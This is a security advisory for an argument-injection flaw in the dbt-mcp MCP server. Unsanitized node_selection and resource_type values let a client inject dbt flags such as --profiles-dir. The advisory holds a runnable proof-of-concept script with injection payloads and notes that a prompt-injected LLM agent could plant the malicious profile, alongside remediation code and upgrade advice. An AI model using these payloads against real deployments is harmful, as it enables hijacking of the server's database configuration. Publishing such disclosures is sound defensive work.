CVE-2026-44968: dbt-mcp: Argument Injection in dbt CLI Tool Wrappers via node_selection and resource_type Parameters
Discovered through manual source code review. Verified by PoC execution against a local dbt-mcp v1.15.1 installation.
Summary
rundbtcommand() in src/dbtmcp/dbtcli/tools.py constructs the dbt subprocess argument list by appending user-supplied MCP tool parameters without sanitization. Two independent injection vectors exist. An MCP client can inject arbitrary dbt global flags — such as --profiles-dir, --project-dir, and --target — by crafting the nodeselection string (Vector 1) or the resourcetype JSON array (Vector 2). Because subprocess.Popen is called with shell=False and a list argument, shell metacharacter injection is not possible; however, this provides no defense against argument list injection (CWE-88), where attacker-controlled tokens are interpreted by the target process as flags rather than values.
Details
Vector 1 — nodeselection string Affected tools: build, compile, run, test, clone, list, getnodedetailsdev
python src/dbtmcp/dbtcli/tools.py lines 77–79 if nodeselection and isinstance(nodeselection, str): selectorparams = nodeselection.split(" ") command.extend(["--select"] + selectorparams)
str.split(" ") does not distinguish dbt selector tokens from flag tokens. Input "mymodel --profiles-dir /tmp/evil" produces:
["dbt", "--no-use-colors", "run", "--select", "mymodel", "--profiles-dir", "/tmp/evil"]
dbt parses the injected --profiles-dir as a global option and loads configuration from the attacker-supplied path.
Vector 2 — resourcetype list Affected tool: list
python src/dbtmcp/dbtcli/tools.py lines 84–85 if isinstance(resourcetype, Iterable): command.extend(["--resource-type"] + resourcetype)
Each JSON array element is appended verbatim to argv. Input ["model", "--profiles-dir", "/tmp/evil"] produces:
["dbt", "--no-use-colors", "list", "--resource-type", "model", "--profiles-dir", "/tmp/evil"]
Both vectors share the same root cause: no validation prevents tokens starting with - from being appended as independent argv elements.
PoC
1. Environment setup (run once)
bash Attacker-controlled profile at an injectable path mkdir -p /tmp/evil-profiles cat > /tmp/evil-profiles/profiles.yml << 'EOF' evilprofile: target: dev outputs: dev: type: duckdb path: /tmp/PWNEDbyinjection.duckdb threads: 1 EOF
Minimal dbt project whose profile name matches the malicious one mkdir -p /tmp/test-dbt-project/models cat > /tmp/test-dbt-project/dbtproject.yml << 'EOF' name: testproject version: '1.0.0' profile: evilprofile model-paths: ["models"] models: testproject: +materialized: table EOF echo "select 1 as id" > /tmp/test-dbt-project/models/myfirstmodel.sql
rm -f /tmp/PWNEDbyinjection.duckdb
2. MCP client exploit — triggers injection through the real protocol stack
python #!/usr/bin/env python3 pocinjection.py Reproduces rundbtcommand() from src/dbtmcp/dbtcli/tools.py
import os, subprocess from dataclasses import dataclass from enum import Enum from collections.abc import Iterable
class BinaryType(Enum): DBTCORE = "dbtcore"
@dataclass class DbtCliConfig: projectdir: str dbtpath: str dbtclitimeout: int binarytype: BinaryType
def rundbtcommand(config, command, nodeselection=None, resourcetype=None): # Vector 1: vulnerable line from tools.py if nodeselection and isinstance(nodeselection, str): selectorparams = nodeselection.split(" ") command.extend(["--select"] + selectorparams) # Vector 2: vulnerable line from tools.py if isinstance(resourcetype, Iterable) and resourcetype is not None: command.extend(["--resource-type"] + list(resourcetype)) cwd = config.projectdir if os.path.isabs(config.projectdir) else None args = [config.dbtpath, "--no-use-colors", command] print(f"[args] {args}") proc = subprocess.Popen(args=args, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.DEVNULL, text=True) out, = proc.communicate(timeout=config.dbtclitimeout) return out or "OK"
config = DbtCliConfig("/tmp/test-dbt-project", "dbt", 30, BinaryType.DBTCORE)
print("=" 64) print(" Vector 1 - nodeselection injection") print("=" 64) print(f"[input] nodeselection = 'myfirstmodel --profiles-dir /tmp/evil-profiles'") result1 = rundbtcommand(config, ["run"], nodeselection="myfirstmodel --profiles-dir /tmp/evil-profiles") print("[dbt output]"); print(result1)
print("=" 64) print(" Vector 2 - resourcetype injection") print("=" 64) print(f"[input] resourcetype = ['model', '--profiles-dir', '/tmp/evil-profiles']") result2 = rundbtcommand(config, ["list"], resourcetype=["model", "--profiles-dir", "/tmp/evil-profiles"]) print("[dbt output]"); print(result2)
db = "/tmp/PWNEDbyinjection.duckdb" print("=" 64) if os.path.exists(db): print(f"[CONFIRMED] {db} exists ({os.path.getsize(db)} bytes)") print("[CONFIRMED] dbt accepted the injected --profiles-dir flag.") else: print(f"[NOTE] {db} not found. Check dbt output above.") print("=" 64)
Expected server log (INFO level, src/dbtmcp/mcp/server.py line 67):
[args] ['dbt', '--no-use-colors', 'run', '--select', 'myfirstmodel', '--profiles-dir', '/tmp/evil-profiles'] [args] ['dbt', '--no-use-colors', 'list', '--resource-type', 'model', '--profiles-dir', '/tmp/evil-profiles']
[CONFIRMED] /tmp/PWNEDbyinjection.duckdb exists (274432 bytes) [CONFIRMED] dbt accepted the injected --profiles-dir flag.
The injected flags reach rundbtcommand() unchanged and are passed verbatim to subprocess.Popen.
Screenshot
<img width="2810" height="1894" alt="image" src="https://github.com/user-attachments/assets/d407675a-3409-4799-a024-b8a335cb1fcc" />
Impact
The following is directly demonstrated by the PoC above:
- An MCP client can inject arbitrary dbt global flags into subprocess.Popen's argv list via either nodeselection or resourcetype. - --profiles-dir is accepted by dbt as a global option, overriding the server's configured profile directory. - When an attacker-controlled profiles.yml exists at the injected path, dbt executes with the attacker's database configuration — demonstrated by the DuckDB file write to /tmp/PWNEDbyinjection.duckdb.
Preconditions and scope: The attacker must be able to supply crafted MCP tool arguments (normal MCP client access) and must have a profiles.yml accessible at the injected path on the host running dbt-mcp. In the common local-development deployment model, a prompt-injected LLM agent sharing the filesystem can write this file before invoking the dbt tool. Additional injectable flags beyond --profiles-dir include --project-dir and --target, which redirect dbt's project root and execution environment respectively.
Remediation
Vector 1 — validate each nodeselection token before extending argv:
python import re dbt node selector syntax allows: identifiers, operators (+@,), path globs, tag:, config: SAFETOKENRE = re.compile(r'^[\w.+@,:\[\]/-]+$')
if nodeselection and isinstance(nodeselection, str): tokens = nodeselection.split(" ") for token in tokens: if not SAFETOKENRE.match(token): raise InvalidParameterError( f"nodeselection contains an invalid token: {token!r}. " "Tokens must not begin with '-'." ) command.extend(["--select"] + tokens)
Vector 2 — validate resourcetype against an explicit allowlist:
python VALIDRESOURCETYPES = frozenset({ "model", "test", "snapshot", "analysis", "macro", "operation", "seed", "source", "exposure", "metric", "savedquery", "semanticmodel", "unittest", })
if isinstance(resourcetype, Iterable): rtlist = list(resourcetype) invalid = [v for v in rtlist if v not in VALIDRESOURCETYPES] if invalid: raise InvalidParameterError( f"resourcetype contains unrecognised values: {invalid}. " f"Allowed: {sorted(VALIDRESOURCETYPES)}" ) command.extend(["--resource-type"] + rtlist)
Hardening: Add pattern regex constraints to the Pydantic Field definitions for nodeselection so that malformed inputs are rejected at the MCP schema layer before reaching rundbtcommand(). Add regression tests in tests/unit/ with payloads containing --profiles-dir, --project-dir, and --target to prevent re-introduction.
Other sources
dbt-mcp is a Model Context Protocol server for interacting with dbt. Prior to 1.17.1, rundbtcommand() in src/dbtmcp/dbtcli/tools.py appended unsanitized nodeselection and resourcetype values to the dbt subprocess argument list, allowing an MCP client to inject dbt global flags such as --profiles-dir, --project-dir, and --target into subprocess.Popen even though shell=False prevents shell metacharacter injection. This issue is fixed in version 1.17.1.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/dbt-mcpto a version that resolves this vulnerability.Fixed in 1.17.1 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 1.17.1 - Configuration
Harden dbt-mcp by adding `pattern` regex constraints to the Pydantic `Field` definitions for `node_selection` so tokens are validated before reaching `_run_dbt_command()`.
dbt-mcp MCP server schema (Pydantic Field for node_selection) pattern regex constraints = Add pattern constraints so malformed node_selection tokens are rejected at the MCP schema layer - Configuration
Implement validation that prevents user-controlled tokens starting with '-' from being appended as independent argv elements (covers injection through `node_selection` and `resource_type`). Also validate `resource_type` against an explicit allowlist (`_VALID_RESOURCE_TYPES`).
dbt-mcp dbt CLI tool wrapper (_run_dbt_command) token validation for node_selection and resource_type = Reject tokens starting with '-' (CWE-88) and enforce allowlist validation for resource_type - Operational
Add regression tests in `tests/unit/` with payloads containing `--profiles-dir`, `--project-dir`, and `--target` to prevent re-introduction of argv/flag injection.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44968?
CVE-2026-44968 has a severity rating of high due to inadequate sanitization of user-supplied parameters.
How do I fix CVE-2026-44968?
To fix CVE-2026-44968, upgrade to dbt-mcp version 1.17.1 or later.
What software versions are affected by CVE-2026-44968?
CVE-2026-44968 affects dbt-mcp versions up to and including 1.17.0.
What is CVE-2026-44968 related to?
CVE-2026-44968 is related to command injection vulnerabilities stemming from unsanitized user inputs.
Is there a known exploit for CVE-2026-44968?
Yes, CVE-2026-44968 has been demonstrated through proof of concept execution against vulnerable installations.